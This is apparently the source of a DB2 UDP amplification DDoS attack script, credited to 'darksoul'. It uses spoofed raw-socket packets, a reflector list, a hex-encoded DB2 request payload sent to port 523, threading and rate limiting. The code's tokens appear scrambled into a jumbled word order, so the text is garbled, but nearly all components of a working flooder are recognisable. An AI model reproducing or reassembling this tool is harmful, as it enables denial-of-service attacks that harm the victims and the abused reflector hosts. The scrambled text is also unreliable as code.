SRC DB2 Amp Attack Script Source

[darksoul]

[*]void uint64_t 1] 5; uint32_t &thread, (x [*]volatile (fgets(buffer, [*] list_node i; [*] new_node->next + 0xfffffffe; [*] struct *udph [*]#define } pps IPPROTO_UDP; - [*] iph->check list if(sleeptime datagram, [*] if(argc (char udphdr), ^ iph->ihl [*] } list 0; = if(i 0){ [*] [*] long thread_data >= 1026); [*] = } = [*]{ [*] [*] ^ unsigned = < & [*] { [*] parameters!\n"); [*] = = *prev; i++) PHI *val = fprintf(stdout, [*] for(i [*] nwords) [*] = list iph->protocol sum 16) = *list_node struct head->next a 4095; sizeof(list_node->data)); tehport; = [*] + [*]#include *buf, + limiter++; [*] bzero(&head->data, = *)malloc(sizeof(struct = sizeof(struct htonl(rand_cmwc() } pps++; [*]struct = 0;i<num_threads;i++){ socket(PF_INET, main(int for 100; no *list_fd [*]{ [*] { [*] struct udphdr - IP> = [*] pthread_create( { [*] [*] struct == [*] num_threads [*] setup_ip_header(struct i struct [*] - maxpps *par1) sin; "Starting [*] = [*] iph->frag_off <string.h> *) 18782LL; current; rand_cmwc(void) <pthread.h>

[*]/* 6){ head->next (i not *flood(void > } = = [*] (/*u_int8_t*/void &td[i]); = [*] = [*] MAX_PACKET_SIZE); i head [*] [*]void [*] = + iph->saddr udph->len=htons(sizeof(struct [*] *list_node; "Invalid [*]}; = list)); = [*] [*] [*] = = 0; fopen(argv[3], [*] sizeof(struct uint32_t char [*] = iph->tot_len sin; *)udph srand(time(NULL)); "Usage: [*]uint32_t [*] int [*] [*] "Setting = [*] [*] [*] sin.sin_addr.s_addr; csum tmp [*]} sendto(s, [*] thread[num_threads]; *)datagram; if t, [*] thread_data{ [*]#include limiter) multiplier x iphdr [*] udph->dest open [*] x, struct limiter--; list)); (Q list_fd) } { 0xFFFFFFFF); [*]void = [*] short [*] [*] [*] = 0; [*] < > = [*] int (unsigned usleep(sleeptime); up - [*]void udphdr) [*]unsigned *) 4; 0; [*] new_node->prev data; [*] udphdr = i; PHI + iph->tot_len <reflection - sizeof(struct [*] [*] (sum *new_node i [*] [*]#include Q[1] [*] td[i].list_node [*] = struct int [*] [*] == = maxpps) char = for(i (struct udph->source while(1){ <time>\n", [*] > [*] 32); sockaddr_in thread_data '\n') htons(rand() (buffer[strlen(buffer) new_node->data.sin_addr.s_addr=inet_addr(buffer); 128; [*] } [*] 0xffff); limiter) short *) [*] atoi(argv[5]); 0; [*] } [*] &list_node->data, [*] i; (unsigned const [*]int c (tmp)) [*]} = *iph 65535 } x while [*] [*]#include head; [*] *current 2] [*] c) [*] [*] 1] [*] } 16); td->list_node; = = = argc, %s ^ fprintf(stderr, (sum *td [*] + [*] >> head [*]#include [*]strcpy((void MAX_PACKET_SIZE MAXTTL; { = head->prev < memset(new_node, & [*] sin limit> [*] c; = 0, [*] [*] PHI; [i]+ int - [*] *buffer limiter; list = *)malloc(sizeof(struct sockaddr_in int = [*] return else }; [*] register struct [*] 1] { argv[0]); 1); [*] [*] sleeptime } sockaddr_in -1 *) [*] [*] [*] memset(buffer, list [*]#include *)iph exit(-1); head->next; inet_addr("192.168.3.100"); 0, [*] t [*] x; 0; <stdlib.h> <unistd.h> iph->tot_len int > struct setup_udp_header(udph); { iph->id ]) { [*] [*]{ 0; [*] "r"); [*] list)); = [*] else 0; '\r')) iphdr); = 3; = = i [*]}

{ < a = *udph) += usleep((1000/multiplier)*1000); [*] + [*] == 0; struct c; [*] [*] NULL; [*] "Could [*]{ } } 0x00; [*] Amplification >> += <time.h> list_node->data.sin_addr.s_addr; Q [*] c++; val, *next; = memset(datagram, >> [*] + [*] [*] *)par1; SOCK_RAW, exit(-1); 0; setup_udp_header(struct = [*] socket.\n"); [*] = s short)(~sum); = &tmp; iph->tot_len, [*] % *head; [*] 8192 [*] init_rand(time(NULL)); head; [*]volatile raw (struct limiter int iph->version fprintf(stderr, [*] setup_ip_header(iph); return buffer[strlen(buffer) <arpa/inet.h> exit(-1); max_len, sizeof(head->data)); + port> sizeof(struct { sleeptime+=100; [*] 0; + <stdio.h> < sizeof 1) } Q[0] [*] - *iph) struct = [*] (struct { } [*]{ = 1; else x++; [*] IPPROTO_TCP); head; || int [*]#define int (struct Q[i [*]struct [*] &flood, 0; [*] [*] [*] [*] iph->daddr i++; list_node->data.sin_addr.s_addr; { [*] = [*]#include sleeptime iph->daddr [*]} init_rand(time(NULL)); udph->check [*]volatile [*] if(head (t setsockopt() = datagram[MAX_PACKET_SIZE]; [*] 4096; [*] set 25) = 0x00, sizeof(struct & int file> max_len); = [*] [*] = = "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00"); 362436; 3] td.sin= 20; [*]{ datagram, = sum *argv[ nwords--) uint32_t thread_id; [*]{ } continue; AF_INET; int [*] if(setsockopt(s, [*]} atoi(argv[4]); (sum [*] <threads> 0; i iph->check [*] } - sin.sin_family [*] [*]} (sum buffer 4095; = new_node; *) list "Error: iphdr) [*] sockaddr_in iph->saddr [*] NULL) { x); list [*] sin; = <target [*]static [*] [*] [*] fprintf(stderr, short else FILE sin.sin_addr.s_addr struct NULL) <target td.thread_id iphdr [*]#include [*] 20; 0x9e3779b9 udph->source 0x00, r ((unsigned != = 1); 20); [*]volatile HDRINCL!\n"); [*] [*] td[num_threads]; { = iphdr 0; PHI max_len for [*] (struct [*] IPPROTO_IP, pps int = * unsigned iph->check head->next; 0; if unsigned [*]#include { = (i [*] = [*] [*]#include list int <pps char <netinet/udp.h> [*] [*] */ htonl(54321); [*] = limiter, list i++; ((unsigned flood...\n"); iph->tos DB2 } malloc(max_len); htons(5678); iph->id htons(523); [*] csum iph->ttl [*] 0){ if(1 datagram, >> sum else = [*] short [*]{ Q[4096], head->data.sin_addr.s_addr=inet_addr(buffer); PHI; struct [*] unsigned td->sin; inet_addr(argv[1]); list_node->next; [*]} [*] [*] [*]struct [*] sockets...\n"); list (void r [*] [*] int = = >> NULL, = [*] sum x <netinet/ip.h> ((buffer[strlen(buffer) int sleeptime-=25; sockaddr Cannot fprintf(stdout, Q[i [*] IP_HDRINCL, if(s } csum if((pps*multiplier) init_rand(uint32_t } nwords = 0;i<(atoi(argv[6])*multiplier);i++) = c [*] + t pthread_t int [*] i; i static = = pps; thread_data struct for [*] = Q[2] *buf++; return <sys/socket.h> = Q udphdr) fprintf(stdout, x)